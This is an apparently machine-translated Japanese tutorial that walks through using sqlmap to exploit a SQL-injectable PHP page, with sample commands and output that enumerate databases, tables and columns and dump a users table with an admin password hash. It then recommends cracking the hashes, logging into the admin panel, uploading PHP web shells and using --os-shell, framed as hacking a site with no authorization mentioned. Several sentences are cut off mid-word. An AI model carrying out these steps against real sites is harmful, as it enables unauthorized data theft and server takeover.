Sqlmap
Sqlmapは、そこに最も人気があり、強力なsqlインジェクション自動化ツールの一つです。 脆弱なhttp要求urlを考えると、sqlmapはリモートデータベースを悪用し、データベース名、テーブル、列、テーブル内のすべてのデータなどを抽出するなど、多くのハッキングを行
特定の条件下でリモートファイルシステム上のファイルを読み書きすることさえできます。 Pythonで書かれた、それはそこに最も強力なハッキングツールの一つです。 Sqlmapはsqlインジェクションのmetasploitです。
Sqlmapは、kali linux、backtrack、backboxなどのペンテストlinuxディストリビューションに含まれています。 他のディストリビューションでは、次のurlから簡単にダウンロードできます
http://sqlmap.org/。 pythonで書かれているので、まずシステムにpythonをインストールする必要があります。 Ubuntuでは、synapticからpythonをインストールします。 Windowsでは、activestate pythonをインストールします。 Windowsでsqlmapをインストールして実行する方法の詳細については、この記事をチェックしてください。
sqlmapコマンドで使用できるオプションとパラメータのリストについては、
https://github.com/sqlmapproject/sqlmap/wiki/Usage
このチュートリアルでは、sqlmapを使用して脆弱なwebアプリ
このチュートリアルを理解するには、データベース駆動型webアプリケーションがどのように動作するかを完全に知っている必要があります。 例えば、php+mysqlで作られたもの。
脆弱なUrl
このようなurlを持つwebアプリケーションやwebサイトがあるとしましょう
http://www.site.com/section.php?id=51
そのサイトの開発者がパラメータidを適切にエスケープしなかったため、sqlインジェクションが発生しやすい。 これは、urlを開こうとするだけでテストできます
http://www.site.com/section.php?id=51'
パラメータに一重引用符を追加しました。 このurlがエラーをスローしたり、予期しない方法で反応したりすると、アプリケーションが適切にエスケープしなかった予期しない単一引用符がデータベースに したがって、この場合、この入力パラメータ”id”はsqlインジェクションに対して脆弱です。
Sqlmapでハッキング
今、そのようなurlをハックするためにsqlmapに移動する時間。 Sqlmapコマンドは、pythonインタプリタを使用して端末から実行されます。
1. リモートシステムのスキャン
最初のコマンドは、リモートシステムをスキャンしてsqlインジェクションに対して脆弱かどうかを確認し、それに関上記は、sqlmapツールで実行する最初で最も簡単なコマンドです。 入力パラメータをチェックして、sqlインジェクションに対して脆弱であるかどうかを調べます。 このため、sqlmapはさまざまな種類のsqlインジェクションペイロードを入力パラメータに送信し、出力をチェックします。
プロセスでsqlmapは、リモートシステムのos、データベース名とバージョンを識別することもできます。 出力は次のようになります
starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5
そのため、sqlmapツールはオペレーティングシステム、webサーバー、データベースをバージョン情報とともに検出しました。 これだけでもかなり印象的です。 しかし、上に移動し、より多くのこのツールが可能であるかを確認するために、その時間。
2. Discover Databases
sqlmapがリモートurlがsqlインジェクションに対して脆弱であり、悪用可能であることを確認したら、次のステップは、リモートシステムに存在するデー “–Dbs”オプションは、データベースリストを取得するために使用されます。
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
出力は次のようになります
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
出力には、リモートシステム上の既存のデータベースが表示されます。
3. 特定のデータベース内のテーブルを検索
特定のデータベースにどのテーブルが存在するかを調べる時間が来ました。 ここで興味のあるデータベースが’safecosmetics’であるとしましょう
コマンド
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
出力はこれに似たものになる可能性があります
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
これは驚くべきことではありませんか? それはofcourseなら。 今、特定のテーブルの列を取得することができます。
4. テーブルの列を取得する
今、私たちは私たちと一緒にテーブルのリストを持っているので、いくつかの重要なテーブルの列を取得することをお勧め テーブルが’users’で、ユーザー名とパスワードが含まれているとしましょう。出力は次のようになります。
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
これで、列がはっきりと表示されます。 よくやった!
5. テーブルからデータを取得する
今、テーブルからデータを抽出する最も興味深い部分が来ます。 コマンドは次のようになります
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
上記のコマンドは、mysqldumpコマンドと非常によく似て、特定のテーブルのデータをダ
出力は次のようになります
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
ハッシュ列にはパスワードハッシュがあるようです。 ハッシュをクラッキングしようとすると、すぐにログインの詳細を取得します。 sqlmapは、分析を容易にするためにダンプデータを含むcsvファイルを作成します。これまでのところ、sqlmapを使用してリモートデータベースから多くの情報を収集することができました。 Phpmyadminのようなクライアントを介してリモートデータベースに直接アクセスするようなものです。 実際のシナリオでは、ハッカーはシステムにアクセスするために、より高いレベルを獲得しようとします。 このために、彼らはパスワードのハッシュをクラックし、管理者パネルからログインしようとするだろう。 または、sqlmapを使用してosシェルを取得しようとします。私はリモートデータベースの詳細を取得するためにsqlmapを使用して別の記事を書きました。 データベースユーザー、権限、パスワードハッシュを見つけるのに便利なsqlmapの他のオプションについて説明します。次は何ですか?
次は何ですか?
脆弱なシステムからデータをスキャンして収集できるようになったら、それを悪用してシステムにアクセスできるかどうかを確認します。
Sqlmapは、リモートシステム上でsqlクエリを実行したり、システム上でリモートシェルを起動したりするなど、かなりの数のことを行うことができます。
1. 任意のsqlクエリを実行する
これはおそらく、sqlインジェクションに対して脆弱なサーバー上で行う最も簡単なことです。 –Sql-queryパラメーターは、実行するsqlクエリを指定するために使用できます。 興味のあることは、usersテーブルまたは類似のものにユーザーを作成することです。 または、cmsページなどの内容を変更/修正することができます。
別のパラメータ–sql-shellは、クエリを対話的に実行するためのsqlシェルのようなインターフェイスを提供します。
2. 管理パネルの中に入り、
ウェブサイトが管理パネルを持つカスタムcmsまたは類似のものを実行している場合は、データベースダンプで取得したパ シンプルで短い長さのパスワードは、ブルートフォースまたはgoogle.com.
管理パネルでファイルのアップロードが許可されているかどうかを確認します。 任意のphpファイルをアップロードすることができれば、それははるかに楽しいです。 Phpファイルには、shell_exec、system、exec、またはpassthru関数呼び出しを含めることができ、任意のシステムコマンドを実行できます。 Phpのwebシェルスクリプトは、同じことを行うためにアップロードすることができます。
3. リモートOS上のシェル
これは、サーバーを完全に引き継ぐために行うことです。 しかし、上記のトリックほど簡単で些細なことではないことに注意してください。 sqlmapには、リモートシステム上でシェルを取得しようとするために使用できるパラメータcall–os-shellが付属していますが、独自の多くの制限があります。
sqlmapマニュアルによると
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
現在のデータベースユーザーが必要とする最も重要な権限は、データベース関数を介してファイルを書き込むこ ほとんどの場合、これは存在しません。 したがって、この手法はほとんどの場合機能しません。
注意
1. Sqlmapがurlにまったく接続できない場合があります。 これは、”ターゲットurlへの接続のテスト”の最初のタスクで立ち往生したときに表示されます。 そのような場合は、”–random-agent”オプションを使用すると便利です。 これにより、sqlmapは、chromeやfirefoxなどのブラウザによって送信されるような有効なユーザーエージェント署名を使用するようになります。
2. Param=valueの形式ではないurlの場合、sqlmapはどこに挿入するかを自動的に知ることはできません。 たとえば、http://www.site.com/class_name/method/43/80ようなmvc url。このような場合、sqlmapは*でマークされた注入ポイントに指示する必要があります
http://www.site.com/class_name/method/43*/80
上記は、*
3でマークされたポイントに注入するようにsqlmapに指示します。 Postメソッドを介してデータを送信するフォームを使用する場合、sqlmapに”–data”オプションでpostデータを提供する必要があります。 詳細については、フォームでのsqlmapの使用に関するこのチュートリアルを確認してくださ